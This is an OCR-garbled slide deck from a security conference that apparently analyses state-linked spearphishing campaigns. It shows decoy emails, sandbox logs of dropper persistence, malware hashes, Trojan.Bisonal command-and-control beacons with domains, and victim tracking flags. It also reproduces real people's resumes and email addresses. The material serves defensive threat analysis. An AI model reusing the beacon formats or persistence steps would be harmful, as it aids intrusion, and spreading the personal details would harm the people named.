


_ Organizations respond to commodity threats

» Blocked Windows protocols on external firewalls
» Enforced auth. tokens and VPN usage

» Bolstered patching regimens

» Installed IDS/IPS @ gateway/desktop

» Segmented networks to contain worm damage
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_ Advanced malware infection lifecycle

Compromised [
Web server, or |

Web 2.0 site

» System gets exploited
» Drive-by attacks in browsing
» Links in targeted emails

Callback
Server

» Attachments in targeted emails

» Dropper malware installs
» First step to establish control

» Calls back out to criminal servers Perimeter Security
Signature, rule-based

» Found on compromised sites, and Web
2.0, user-created content sites
» Malicious data theft and long-term
control established

» Uploads data stolen via keyloggers,
Trojans, bots, and life grabbers

Other gateway
List-based, signatures

» One exploit leads to dozens of infections
on same system

Servers

DMZ

» Criminals have built long-term control
mechanisms into system Desktop antivirus

Losing the threat arms race
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~ Simple Reconnaissance (h/t google)
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Attacks on the Supply Chain are common

Securing Your Future with Two-Factor Special Offer
Authentication

Do you really know who's accessing your
most sensitive networked information assets? TAKE IT FOR
Unfortunately, security built on static,
reusable passwords has proven easy for
hackers to beat.

RSA SecurID® two-factor authentication is based on
something you know (a password or PIN) and something
you have (an authenticator)—providing a much more
reliable level of user authentication than reusable

passwords. » Evaluate RSA SecurID

* The only solution that automatically changes your
password every 60 seconds Weekly Webinar
* 20-year history of outstanding performance and

_ ] RSA invites you to connect with
innovation

SecurID technical experts for a
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Linked ma Account Type: Basic

Home Profile Contacts Groups Jobs Inbox Companies News More

« Go back to Search Results

- 3rd

E-Discovery Litigation Support Engineer

Greater Boston Area | Security and Investigations
Current  Sr E-Discovery Internal Litigation Support Engineer at EMC Cf
Past Principal Exchange Systems Administrator at EMC [T

Connections 83 connections

Public Profile | n
|55 Share £ PDF = Print
Experience

Sr E-Discovery Internal Litigation Support Engineer

EMC [f
Public Company; EMC; Information Technology and Services industry
January 2008 — Present (3 years 10 months)

Principal Exchange Systems Administrator

EMC [f
Public Company; EMC; Information Technology and Services industry
January 1999 — January 2008 (9 years 1 month)
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RSA Spearphish (h/t @mikko)
Al 7 0 e [ ———E e TS

- | Message |

7y Ignore x ﬂ @ a [ Meeting I_E gz:::{:;te E| % ‘

-~ Delete Reply Reply Forward - Move Mark Categorize Fol
%Junk % More = Kibians i

All Unread 5
Delete Respond Move | Tags
From: web master <webmaster @beyond.com=
To:
Co

Subject: 2011 Recruitment plan

| Message | 2072011 Recruitment plan.xls

I forward this file to you for review. Please open and view it.
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URL filters are trivial to defeat by humans

adkd.0dlive.com

@B,9:7 " VW=?=/=46K_IHfidim?JPjJHNGQpHIRtQWNPdy~W @
sdfjdg
Read this ai
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URL filters are trivial to defeat by humans

! | rss.groups.yahoo.comfgroupfannjon3s/rss
Mt: | & rss.groupsy group/annj

‘% Subscribe to this feed using | Live Bookmarks d |
L

Always use Live Bookmarks to subscribe to feeds.

| Subscribe Now |

annjon38 at Yahoo! Groups

music joy

@[ERSPyopNX|HVIvZATzS A d##5% jn*lfe0342unw@
Tuesday, March 13, 2012 10:54 PM

sunny day
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Biggest deal in IAF.pdf — taunting the target

Message: Exploit capabilities detected

API Name: CreateFileA Address: 0x0324b960
Params: [C:\DOCUME~1\admin\LOCALS~1\Temp\cvs.exe, 1073741824, 1, 0x0, 2, 128, 0x0]
Imagepath: C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe DLL Name: kernel32.c

API Name: CreateProcessA Address: 0x0324b9d1l

Params: [C:\DOCUME~1\admin\LOCALS~1\Temp\cvs.exe, NULL, 0x0, 0x0, 0, 134217728, 0x0,
NULL, 0x12d23c, 0x12d2bc]

Imagepath: C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe DLL Name: kernel32.d

Created C:AWINDOWS\ThankU.txt

Added \REGISTRY\MACHINE\Software\ThankU

Delete C:\WINDOWS\ThankU.txt

Setval \REGISTRY\MACHINE\SOFTWARE\ThankU\"netsvcs" = 6to4&nbsp;AppMgmt8
;Browser&nbsp;Cryp

tSvcBnbsp;DMServer&nbsp; DHCP&nbsp;ERSvc&nbsp; EventSystem&nbsp;f
mpatibility&nbsp

;HidServ&nbsp;las&nbsp;Iprip&nbsp;Irmon&nbsp;LanmanServer&nbsp;La
sp; Messenger&n

bsp;Netman&nbsp;Nla&nbsp; Ntmssvc&nbsp; NWCWorkstation&nbsp; Nwsaj
&nbsp;Rasman&nbs

p;Remoteaccess&nbsp;Schedule&nbsp;Seclogon&nbsp; SENS&nbsp; Shared
ce&nbsp; Tapisr

v&nbsp; Themes&nbsp; TrkWks&nbsp; W32Time&nbsp; WZCSVC&nbsp; Wmit
nbsp;winmgmt&nbsp; TermS

ervice®&nbsp;wuauserv&nbsp;BITS&nbsp;ShellHWDetection&nbsp; helpsvcg
wscsvclinbsp; W

mdmPmSN&nbsp;windiws

Created C:\WINDOWS)Thankl.txt

Deleteval \REGISTRY\MACHINE\SOFTWARE\ThankU\""

RSACONFERENCE2013



Biggest deal in IAF.pdf — taunting the target

Setval

Added
Added
Setval

Created
Date Change

Close

\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\windOws\"Description" = Microsoft(R) Win
dows Update

\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\windOws\Parameters
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\windOws\Parameters

\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\windOws\Parameters\"ServiceDIl" = C:\Pro
gram Files\W
indows Media Player\wupdmgr32.dll

API Name: SystemTimeToFileTime Address: 0x00402ee5
Params: [0x12e444, 0x12e43c]
Imagepath: C:\DOCUME~1\admin\LOCALS~1\Temp\cvs.exe DLL Name: kernel32.dll

C:\Program Files\Windows Media Player\wupdmgr32.dll
C:\Program Files\Windows Media Player\wupdmgr32.dll

API Name: WaitForSingleObject Address: 0x77de5fSe
Params: [Oxe0, 180000]
Imagepath: C:\DOCUME~1\admin\LOCALS~1\Temp\cvs.exe DLL Name: kernel32.dll

C:\Program Files\Windows Media Player\wupdmgr32.dll
MD5: alec15718bd90b94d7d4e19bel066f71
SHA1: 28a87ba46787c689545d645304b4361968f96b55

h B 3 s A @ o mh @

Sy # e X > O C

1001933F
1001934F
1001935F
1001936F
1001937F
1001938F
1001939F
10:0193AF
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—— RUI'XING CAO NI MA

Technical attribution is difficult based not knowing

which indicators were placed there to throw off the
investigation.

“Rising, Mother F***er!”
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redacted) (source:VT
— 4

R ——

Power on a Beam of Light

Main = Technology » Products » Services News » = About »  Contact @ Team LaserMotive »

Quick Links

b Aviation Week on LaserMotive's UAV

plan

b Laser-powered Quadrotor UAV

Demo Video

}  Video about LaserMotive and Power

Beaming

F  White Paper on UAV Power Beaming

From Our Blog...
Welcome tc S

} Outdoor Proof-of-Concept Laser-
LaserMotive is a Seattle-based company developing wireless power delivery systems using Powered UAS Flights

laser beams to transmit electricity without wires, for applications where wires are either cost
y PP } Successful 48+ Hour Laser-Powered

prohibitive or physically impractical. We launched the company by winning the 2009 UAS Demonstration

NASA Power Beaming Challenge and taking home the $900,000 prize. We are now working for

} FAQ: Does the amount of delivered

MASA to design the architecture to use lasers to launch rockets and power satellites, and, Q
power vary with the distance between

eventually, power a lunar base. At the same time we are pursuing terrestrial applications such _ :
the transmitter and receiver?

2o mid_flinht rarharaina Af niinmaonnad oozl vahiclac
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—— (CEOs are (obviously) targeted

- Wikipedia, the free encyclopedia
en.wikipedia.org/wiki/LaserMotive

"Executive staff- Retrieved July 9, 2012; * "Executive stafi-
Jordin Kare"” evea Jury ¥, 2012; * Suriyanarayanan, ...

profiles | LinkedIn
www.linkedin.com/pub/dir/ Tom/Nugent

View the profiles of professionale named 'L ... ..o 45-..- On Linkedln____lllingis at Urbana-
Champaign; Summary: is President & CEO of
[PDF] ’

https:// infn_aiaa__orgf _JAIAA September®20Dinner%20M éeting_pdf
File Enmat- PDE/Adnhe Armmhat - View as HTML

2 Topic: The Future of Power Beaming. Dinner
Fricing: Members: $.22. 1st Guess of Members: $22. Student/Educators: $15 ...
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Could you stop this?

RSACONFEREN

From Selina Lin <selina92_tw@yahoo.com>17 4 Reply| 4~ Reply All|~ | = Forward & Archive| *
Subject Hoping to get your advice ! 8/9/2012 8:44 AM
To
Message ID =1344494655.10788.YahooMailNeo@web194904.mail.sg3.yahoo.com=
Inreply to <1344485514.19388.YahooMailNeo@webl94904.mail.sg3.yahoo.com=
References <1344485514.19388.YahooMailNeo@web194904.mail.sg3.yahoo.com=>

m

X-Account-Key accountd -

Hello Mr.

I hope you can see this letter, I am a student of the Gwangju
Institute of Science and Technology(in South Korea).

In this year's graduation thesis I quoted your articles, but my

mentor told me in many ways I misunderstood what you mean,

but I don't think so.We are arguing for a long time, but are unable

to agree with each other's perspectives, so take the liberty of a letter,
hoping to get your advice.Thank you!

Best wishes!

Selina

4 @1 attachment: Effects of Correlated Noises on Dynamic Properties of a Single-Mode Laser.doc 727 KB . Savei =
1 Effects of Correlated MNoises on Dynamic Properties of a Single-Mode Laser.doc 737 KB

5




Misc Anomaly
Craeated

Setval

Created

Craated

Close

Created

Close

Misc Anomaly

Misc Anomaly

Misc Anomaly

—— Decoy documents are the norm

API Name: IsDebuggerPresent Address: 0xSad7alez
Imagepath: c:\al458284a8d8cadedfiZ22blaze?7382c.exe DLL Name: kernel32

Message: Malware trying to detect the presence of a debugger Detail: Debugger awareness detected
CHADOCUME~1admin\LOCALS~1\Temp'__tmp_rar_sfx_access_check_ 279046
MREGISTRYWSER\S-1-5-21-1409082233-688789844-725245543- 1002\ Software\WinRAR SFX\"C%%%DOCUME~1%admin%al

OCALS~1%Temp" = C:A\DOCUME~1L'admin\LOCALS~1YTemp
CHODOCUME~1L\vadmin\LOCALS~1\Temp\WINWORD.axea

CHOHDOCUME~1vadmin\LOCALS~1\Tempiwins.vbs

API Name: SetErrorMode Address: 0x77f57f4d
Params: [0x00000001]
Imagepath: c:%a0438284a8d8cadedf122b0a2e77382c.exe DL Name: kernel3Z2

CODOCUME~1vadmin\ LOCALS~1\Tempiwins.vbs
MD5: b491aa874232d632fS2b20216f172a65a
SHALl: Dabb&1l1ec82db063871c395905a26305516a2862

CODOCUME~1vadmin LOCALS~1\Tempi&_Harsh_Winter_for_Sinovel_and_China's_Wind_Industry.doc

CHODOCUME~1vadminiLOCALS~1\Tempia_Harsh_Winter_for_Sinovel_and_China's_Wind_Industry.doc
MD5: 118360b73caled8d7bs953fanddodsfs
SHAL: 782c94a9026382=200ddf9757bf2235062566b0Gd2S

Address: 0x0000000000000000
Imagepath: c:\al458284a8d8cadedf122b0a2e77382c.axe

Message: Direct hardware access detected Detsil: Malware performing direct hardware access

‘BaseMamedObjects_SHuassist.mbx
Message: Trojan.Injector activity Detail: Trojan.Injector activity
AFT Name: Sleep Address: 0x00404b46

FParams: [600000]
Imagepath: CADOCUME~1ladmin\LOCALS~1YTemp \WINWORD.exe DL Name: kernel32

Message: 10+ sleep calls  Detailt Malware calling sleep 10+ times
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Targeted threats must pass the “sniff test”

Ennaz o923~ A_Harsh_Winter_for_Sinovel_and_China's_Wind_Industry [Compatibility Mode] - Microsoft Wo... - B X

| Home l Insert Page Layout References Mailings Review View @

A

=1 _gh TII'I'H:S Meow Roman ":15 =

= iE-‘-,:-|£;§§L§ 'grrat
EE ||B|I U - abe x, x° |||§§1§ = :; y ]ndlEBb‘CCD{ AaBhCclx AﬂBh( % I
|

T Marmal | T Mo Spaci.. Headingl _ | Change
Styles =

Styles [s

Editi
| lcarersisrs
| | gt:ﬁard F] || Font F]

IAHarsh Winter tor Sinovel flll[:% China's Wind Industry

The Year of the Dragon has gotren off 1o an inauspicious start for the Chinese wind industry and in
particular, Smovel Wind Group Co. (Shanghaio01358, alka. Swmovel), China's leading wind
turbine manufacturer.

In early February with the official end to the “Sprning Festival™ only days away, Sinovel reported
decidedly chilly preliminary estimates of its FY 2011 performance, confirming that Sinovel and
indeed the whole Chinese wind industry had, in the words of one Chinese wind industry insider
“entered a winter that would be hard to endure™.

Sinovel cstimated that its net income for FY2011 declined by morc than 50% comparcd with 2010

Fe P e

PR 0 a1

oot 4 - ~nmad

zzr

cmas TICATwy T 14

o B W et T

1y Stan (" Blank Page - Window... Lt WINDO T & _Harsh_winter_far. .. B | % % U 1113PM
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Resumes are pulled from CareerBuiler.com

Good day Madam/Sir,

My name is Brvan Buckles. I am transitioning back into defense contracting after spending the last five vears in fulltime ministrv. My experience and qualifications enable me to make a significant impact in
support of customer needs. I am a retired Marine Intelligence Officer and I also have many vears of experience in acquisition, supporting MARCORSYSCOM. I have attached my resume for vour
consideration. Please feel free to networle them as vou deem appropriate. Thank vou in advance for vour time.

Respectiully,

Brvyan Buckles
Major USMC (Ret.)

BRYAN K. BUCKLES

Bryan.Buckles69@yahoo.come Mobile: (703) 304-4851
10358 Zachary Taylor Highway, Unionville, VA 22567

ACQUISITION SPECIALIST

Strategic operations professional with more than 10 years of high-level expe
acquisitions. Leverages strong organizational and analytical skills to determine nee
efficent solutions. Gifted communicator and advocate who commands persuasiv
Expert acquisition specialist who meets challenges in complex, pressure-filled env
thousands of military and civilian lives. Proven leader who inspires trust, clarifies visi

AREAS OF EXPERTISE

Needs Assessment — Acquisition — Research & Development — Cross-Departmental R
Logistics - Client Support — Project Management— Data Analysis — Testing — Quality |
Intelligence Systems — C4i Implementation — Civilian & Military Management — Techni
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Home | Layout | DocumentElements | Tables | Charts | SmartArt | Review |
Font : Paragraph : Styles e —— ANDUCTOUE T (RdBDUCDt
5 New Roman v 12 l'IiA‘lAwmvll&r:ﬁfrj %E;'J‘f'iﬁaj..%l?%n;w; 'e) ASBLCDa1 Aashceode AaBBCEDN v || B e |
| U [jsse] A | Ao) (Al O (IEREISEE )8 | T sema Strong Subite Tile | — — =" 1
C.'_-f:’.'i:i...'::._','..':,"_.ﬁ'.‘g'"""-u”"'"EI"""'3| """" s el 5|:3!:4!:
William M. Williams JR S N sk
08 Natnre:Lane Oceanside, CA 92057
Edmond OK 73034
uas.williams@mail.com
EDUCATION Management Position
*  Master of Aeronautical Science (Aviation Safety and Human Factors), Embry-Riddle Ae
University, Prescott, AZ

LTC ANDY J. GENASCI
CMR 489 Box 383, APO AE 09751
genascia@aol.com

(w) +4907117293649

(c) +4916090679508

Special Forces Officer of twenty years who demonstrates a comprehensive understanding of: crisis
management, strategic planning of national level programs with civilian, military, and non-
governmental organizations, and the cultural and political environment of sub-Saharan Africa.
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__Builders are frequently used for the b-teamers  (h/t Kurt B, Nick I)

Browse

M3, BRE “* File )
- Fpdr
Final File: | Browse
[ Mmda.ex=sg.;
BindFils | Browise
Final File:
| Browse
BindFile | e |
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~ APT1is not advanced, but very successful

0e39fd70e4e69edd55c8d3dd2855¢e
f4ec2016bcb.exe
9/20/2012 8:09 AM

1e53e2851297cf78dd8e667eb4587
e732877eele.exe
9/20/2012 8:09 AM

2df6c1b59d976bf7eal2eleb7969f
d2086f0b965.exe
Userinit Logon Application

4c35a6901105d3a54ffch6ab89d70c
879%5fccddexe
9/20/2012 8:09 AM

4dc9b69falfbec779ba%eaB35671af
72c9643694.exe
9/20/2012 8:09 AM

4f3b5efb9f2184a167ae7bad25371d
da5abe4900.exe
9/20/2012 8:09 AM

5a5c1271bd57a93bcecd0c6009745
dcf063214b5.exe
9/20/2012 809 AM

5c666535ead4489dc43d0741d367a
5032a06bab7.exe
DirectShow Setup Tool

6239a67ab84d7391f753843e5a562
759c557c8dd.exe
3281

8a4dfabbd>9ba7eacalfbcee333ff0
044e21bf25.exe
9/20/2012 8:09 AM

K [E

09e67e0f71e82a6537e799b8388a6
42cebce32bb.exe
9/20/2012 8:09 AM

)

Y 18e7c07b3041f5577a9d4aa5301d2
1C,\| 285c06e8bdcexe
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Oea3f3dfée752dd88630dbefb422c4

5e0ffd7674.exe
3281

1e979a4a8c460fceb94fad7742fbde
44dabe8del.exe
Trymedia Download Manager

2e1a8d895993¢cb6802e5fb7e9fd98
26e66d20fa2.exe
9/20/2012 8:09 AM

4¢130cbfd8415c316b3a0c1700a40
1b12263f9df.exe
9/20/2012 8:09 AM

4de834d86ae0d98fbcdeb87068594
9c06e8d7856.exe
9/20/2012 8:09 AM

4f4cd700cf7e2a051f84dade7480e6
6d2c40e5bd.exe
VideoCacheView

5a0793f26f886fb4a2f2496a643f28a
d46a0a483.exe
9/20/2012 8:09 AM

5cb3f78e6eadfc77790d501e7f405a
b7a6a493396ff174dd6145bbcl3c..
Adobe? Flash? Player Installer/Uni...

6e29fd842958c15d58635cc51dbf7c
4a0c18838cexe
3281

8a868e6892b22438650d438729834
8702b8cded4.exe
9/20/2012 8:09 AM

9a7013ee2be/e68b0b123bf671201
7302922569 .exe
9/20/2012 8:09 AM

20d7dad7623c7ac65bf73160f5bab
74c74c37383 . exe

0f050f14c298fe2eaf4f50810f80cc19
199d6839.exe
3300

1e15399bf9f1e6fofd02d294a4837f
4962486f61.exe
3281

2e05cb076de6124583d1392fe2c46
79283427f7b.exe
9/20/2012 8:09 AM

4d223f95c5fd50e522dbeee750d36
9598689c7f.exe
3281

4e965423c4ac78e440116c8db3432
55a95d5e2dl.exe
IP Configuration Utility

4f787d4176f9bbed3688eeadfbdeb
5b4290b425a.exe
1001

5af42af6f8b7al18c0bfob824c2c72
508f4b0d8c.exe
9/20/2012 8:09 AM

5cb8357cc5c17498ba%ch79e51442
a897cb72724.exe
9/20/2012 8:09 AM

6e083bfd0c848d84cecOfbl0dd75fd
20adbaabdd.exe
PC Text Pro

8fdab653fc1954da354ccalefaf/2ife
23cc238bb.exe
9/20/2012 8:09 AM

9b8cb8d5438d64f9795159c86036a
bdodabaldafexe
9/20/2012 8:09 AM

21def06136560c11214910afcafo0b
. l 3fb782d56cb23a5367c48c6e0320..

0f996d145dfb8a826987c17da5a5a
b50f2cccbeb.exe
Performance Log Utility

a

2d17fc022cab3036ec170e082597e
8c37a871el4.exe
3281

2eb6b983c3abla?ba3edfea8eds2cf
446c81107c.exe
3281

4d90c0e4c122a840bac947a631260
9c235eccOc7.exe
9/20/2012 8:09 AM

4e91120009a4453efbc7f0941c5950
75fd364bf3.exe
9/20/2012 8:09 AM

05b12dald577134abel79deef6ble
fa338dfd671.exe
3281

5b28b5b471a36e5e7a860768e818f
c5bebZe7bfl.exe
9/20/2012 8:09 AM

5d3e3f906d354c418ba22815702c5
2f15fe591be.exe
3281

-E & 6e954c560a41a3488e16b33427fbfc
f28cd0fb7ef9198a017594196e958...
10/3/2012 6:56 AM

8ff6870b8a059a0ac5adf0243b3061
falcb7caaa.exe
1001

9bbeS52eabe2f8e422c9c827864396
= oF g a21073a870b.exe

DestlfTest MFC Application
22b8153e297102543680c8a415acc
9bd8423c937.exe

0f4243715685e64c27d624c144cbl
8a8054d4748.exe
9/20/2012 8:09 AM

€]

o

2df3fb5f66169b6492ec69d10b3bcl
0820f3143a.exe
InstallShield

S

2]

4b00a0d9f1079b66538166¢325727
c06148018db.exe
3281

40428bae3a030987489426511fe317
. I tcdc6257e0.exe

9/20/2012 8:09 AM

4eedab2f6397ef44a289761b0d262
df638352fbb.exe
9/20/2012 8:09 AM

& 05d0d441bdafdcc2f2c9e5f510fa74c
0d986e426.exe
Internet Connection Wizard

5c2018b14b436aebaa33062cb3cae
0d241a5f37f.exe
3281

SelccObalace98529485186819%a6e
3bc028aacda.exe
3281

H"IMJ H"IMJ

7cTefff7745bd4676c778b36fe9c10f
73629d92e.exe
Macromedia Flash Player 7.0 r19

@

‘_."'-1. 9eef04ffacd72d5ff79e2454c500573
cad3c328d.exe
9/20/2012 8:09 AM

09c89a3db71835667985829febe38
ball4labeb8.exe
G3

——- 23a31elc811beebelld0f27693fc88
23aeadc8fl.exe




— (VE-2009-3129

» Microsoft Excel “FEATHEADER"” Record Remote Code
Execution Vulnerability (CVE-2009-3129)

» Are there exploit kits developed based on this vulnerability?

» Are there metadata info that we can analyze from the excel file to
detect this class of attack?

» Is this a common attack being seen in the field? |

CVE-2009-3129 Learn more at National Vulnerability Database (NVD

(under review) = Severity Rating » Fix Information « Vulnerable Software Versions = SCAP Mappings

Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer 2003 SP3; Office

Excel Viewer SP1 and SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a
spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset, aka "Excel Featheader Record Memory Corruption Vulnerability."

References

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

IDEFENSE: 20091110 Microsoft Excel FEATHEADER Record Memory Corruption Vulnerability
s URL:http://labs.idefense.com/intelligence/vulnerabilities/displav.php?id=832
BUGTRAQ:20091110 ZDI-09-083: Microsoft Excel Shared Feature Header Pointer Offset Memory Corruption Vulnerability
URL:http://archives.nechapsis.com/archives/bugtraq/2008-11/0080.html
EXPLOIT-DB:14706

URL:http://www.exploit-db.com/exploits/14706
MISC:http://www.zerodayinitiative.com/advisories/ZDI-09-083

MS:MS09-067

URL:http://www.microsoft.com/technet/security/Bulletin/M509-067.mspx
CERT:TADS-314A

URL:http://www.us-cert.gov/cas/techalerts/TAD9-314A. html

BID:36945

URL:http://www.securityfocus.com/bid/36945

OSVDB: 59860
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AV detection still poor
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Pinnacle Island Dispute
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~The curious case of Trojan.Bisonal

» Targets mainly Japanese organizations
» Delivered via weaponized doc/xls files

» Embeds the target name into the command and control
traffic
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— Custom “flag” and c2 domain — used to track victim

GET /j/news.asp?id=* HTTP/1.1
User-Agent: flag:khi host:Business IP:10.0.0.43

OS:XPSP3 vm. @€ proxy . @€
Host: online.cleansite.us

Cache-Control: no-cache

GET /a.asp?id=* HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;

Windows NT 5.1; Trident/4.0;,NET CLR 2.0.50727; .NET CLR 3.0.04506.648;
NET CLR 3.5.21022)

Host: khi.acmetoy.com

Connection: Keep-Alive
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—— Custom “flag”and ¢2 domain

GET
/rc/news1.asp?id=flag:831nec%20host:Remote%20PC%20IP:169.
254.100.12%200S:XPSP2%20vm:..%20proxy:.. HTTP/1.1
User-Agent: flag:831nec host:Remote PC IP:169.254.100.12
OS:XPSP2 vm:... proxy:...

Host: onlinejilu.4pu.com

GET /a.asp?id=* HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
NET CLR 2.0.50727; .NET CLR 3.0.04506.30)

Host: necnec.dns04.com

Connection: Keep-Alive
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—— Qther“flag"s seen

vV v vy vvy Vv Vv VvYVvYyy

>

Flag:8080

Flag:84d

flag:boat

Flag:d2

Flag:dick

flag:ihi -1HI Corp

flag:necO1 - NEC corporation
flag:nsc516 - Nippon Steel Corp
flag:nids - Nat'l Inst. for Defense Studies

vvvyvvvyyy

Flag:712mhi - Mitsubishi-heavy industries

flag:1223
flag:jsexe
Flag:727x
flag:jyt
Flag:m615
flag:toray
Flag:MARK 1

Flag:qqq

flag:410maff - Ministry of Agriculture, Forestry, and Fisheries
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—— Taiwan-US Beef Crisis a Lure

Taiwanese protest US beef import plan
Q@ % & oM

ANNIE HUANG | March 8, 2012 07:08 AM EST | 2

Compare other versions »

TAIPEI, Taiwan — Thousands of Taiwanese farmers staged a raucous protest Thursday against a
government plan to allow the import of U.S. beef containing a growth drug, challenging the island's
president to "say no" to Washington.

The protest outside Taiwan's ornate legislative building came as newly re-elected President Ma
Ying-jeou seeks to strengthen ties with the U.S. by resolving the long-standing beef dispute. The
beef issue has stalled trade talks crucial to keeping up the island's competitive edge in global trade.

Protesters later marched to the Agriculture Council — Taiwan's Ministry of Agriculture — and pelted
police with pig excrement and rotten eggs. Shield-wielding officers prevented them from entering the
building after they broke through an outer security barrier.

approval.
HE Slashing tariffs on Taiwanese exports to the U.S. could reduce the island's heavy reliance on the

mainland Chinese market, he said.

g as part of a plan
to grant Taiwanese visa-waiver status. widely seen as a gesture in support of the Cabinet plan to

lift the beef ban.

Taiwan banned all U.S. beef imports in 2003 over concerns about mad cow disease but permitted
boneless beef imports in 2006.
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Language specific attacks are easy when the victim
~ speaks Chinese. .. |

Al 0 e |5 RBANESEESMAR - Message (HTML) = @] B 9 d 0 o o+ (HERAKED - Message (HTML) | [ oE| S

Message & 9 File Message & e

=Y F =Y
. Repl E3 [ @] ., Repl / [ ]
& Ega REPlY a ..E;—.maawg ﬂ L 4 & \_i & b Reply a ‘_!; ‘-Eﬁ L 4 & \_ﬁ
@ReplyAll kg To Manager . @ReplyAll .
%. Delete . . ) —| | Move Tags |Editing] Zoom %. Delete . . Quick Move | Tags | Editing Zoom
i5 Forward = (3 Team E-mail - - - - i% Forward = Staps v - - -

Delete Respond Cuick Steps P Zoom Delete Respond Quick Steps = Zoom
From: jun.lun <jun.un@msa.hinet.net: Sent: Tue 3/20/2012 1:56 PM @ Click here to download pictures. To help protect your privagy, Cutlook prevented
To: @doh.gov.tw automatic download of some pictures in this message.

Cc From: tachung.shpg@msa. hinet.net Sent: Thu 4/5/2012 10:08 AM
Subject: 28 A HE RN A To: @doh.gov.tw
Attachments: )28 )\ £p& 32087410 A 7B doc (B4 KE) Ce

Subject: {33 A ERH

(=BT %%ﬁ%*ﬁ@ E"f Attachments:  BH g oynotice.xis (178 KB) B
tegg (=BT . (FEIM BEAE) &k (Q) HBIRE, HEA iz
(ZEF) NEBLHAE, ETEERRNTE. oE 0 EMail §935% 0 B L mail SERETET
E..... LZEMEE, EBEFRESEKERS I REE | EREEN
= S E DS 2 o S 2 =i
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= | | [ DRTEREESTANRET SHER

. * gl
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—— Same target hit over and over

A9 U e v |- sgnsmeEraERen. = B BN Gigooe s ®

fMessage & e | Message |

c X 3=a F @ rs Qlax am an
i=& Reply Al . (=& Reply Al =
&~ Delete B - Quick Move | Tags | Editing) Zoom & - Delete Bav |4
@, Forward Steps ~ - - - @ Forward =
Delete | Fespond | Cuick 5. | | | | Zoom Delete | Fespond |
From: agllen <allen_cho@seed.net, tw > sent: Mon 4/2/2012 11:03 AM From: ud82725@msa.hinet.net
To: @doh.gov.tw To: @doh.gov. tw
CC Cc
subject:  EECSEAFEARTETES Subject: AL
Attachments: 5 250 & EYpoHE A FIERER 2 8 s (155 KE) Attachments: B ¢2:50R4 s (84 KB)
EEONESERAFFREF RIS Ejl
Y
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The adversary will compromise your friends

From Swedishdaobeijing <swedishdaobeijing@foreign.ministry.se>‘\i? From Swedishdaobeijing <swedishdaobeijing@foreign.ministry.se>\:Cr‘
|| Subject Fw: China in economic crisis 2012 - News and Views from around the world 2/21/2012 10:46 AM Subject Fw: U.S. aircraft carrier battle groups will be reduced to nine 2/21/2012 10:43 AM
To thomas.holmgvist@mil.se 17 Other Actions - To thomas.holmquist@mil.se s Other Actions -
- 4 e

Hej! | Hej! e

|

Oversidnder mejl enligt dverenskommelse. l Oversander mejl enligt dverenskommelse.

Vanliga halsningar, |l | vanliga halsningar,

Caroline Caroline

Swedish Defence Attaché Office Beijing n Swedish Defence Attaché Office Beijing 3

Colonel Martin Bodin Colonel Martin Bodin

Mrs Caroline Friindt, Assistant to the Defence Attaché Mrs Caroline Friindt, Assistant to the Defence Attaché

swedishdaobeijing@foreign.ministry.se swedishdaobeijing@foreign.ministry.se

-—- Forwarded by Caroline Friindt/FOREIGN/MINISTRY on 2012-02-21 17:46 — —— Forwarded by Caroline Frindt/FOREIGN/MINISTRY on 2012-02-21 17:43 — -

From:  "WorldPress News" <tschure@worldpress.org> Ml | From:  Jack Jones <jackjones13579@yahoo.com>

To: swedishdacheijing@foreign.ministry.se To: "abuhassabul@hotmail.com” <abuhassabul@hotmail com>, "swedishdacbeijing@foreign.ministry.se"

Date: 2012-01-18 14:37 ‘ <swedishdacheijing@foreign.ministry.se», "marie-louise brunner@eda.admin.ch” <marie-

Subject: China in economic crisis 2012 - News and Views from around the world louise brunner@eda.admin.ch>
Date:  2011-09-02 09:49
Subject: U.5. aircraft carrier battle groups will be reduced to nine

Worldpress.org offers you a subscription for our service. The demonstrating issue is attached to this mesage.

If you are interested in such information, you can sign up at http://www worldpress org With 11 U.S. Navy super carrier will shrink in the last two years, suffered severe,

S . dailv World Headii el k » thihel ; N s of according to the latest issue of <<Jane's Defence Weekly>> reported that due to the aircraft

ngs;ngglfj:on?grousé theev?.ro;::ies and we'll keep you up-to-date with the latest news from thousands o carrier overhaul and retirement and other reasons, the U.S. Navy from 2015 to the end of

’ this year, will Only 9 available for operational deployment of aircraft carrier battle group,

Worldpress.org which will greatly restrict the Navy combat, but the military experts believe that even so,

Ste 103, 500 Unicorn Park Drive, Woburn, MA the number of U.S. aircraft carriers in other countries than the total number of still more

Tel: (781) 638-9050| Fax: (781) 638-9043 | fighting is not in the same language .

Email: tschure@worldpress.o Reported that the U.S. military plans to dissolve .2013 Carrier Strike Group 7, the
‘Enterprise" aircraft carrier will be decommissioned, and the next generation of 'Ford" aircraft
carrier in 2015 only served to reduce spending, the U{http://www{Military News
http://www.f-paper.com/).f-paper.com/).S. military response this should move. reported
that, according to the Chief of Naval Operations Department recently disclosed memo, No. 9
Washington Carrier Strike Group will move to the northwest of the Everett base of San

I Diego, California base to compensate for the December 7 aircraft carrier battle group after
tha dicenlutnn af tha oan whila bMa 7 carriar hattla arcuone attachad ta the 'Ranald B
b @1 attachment: China in economic crisis 2012.doc 278 KB 4 Save - b @1 attachment: Us_Aricraft.doc 189 KB ¥ Save -
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Grunts exist to do menial tasks

| Y B & ¥ |+ Tibetanin Delhi Sets Seff Alight to... | = | | 38

Al © 0 & o+ |5 Tibetan in Delhi Sets Self Aligh

| Message

Message (A
7 |mr s §

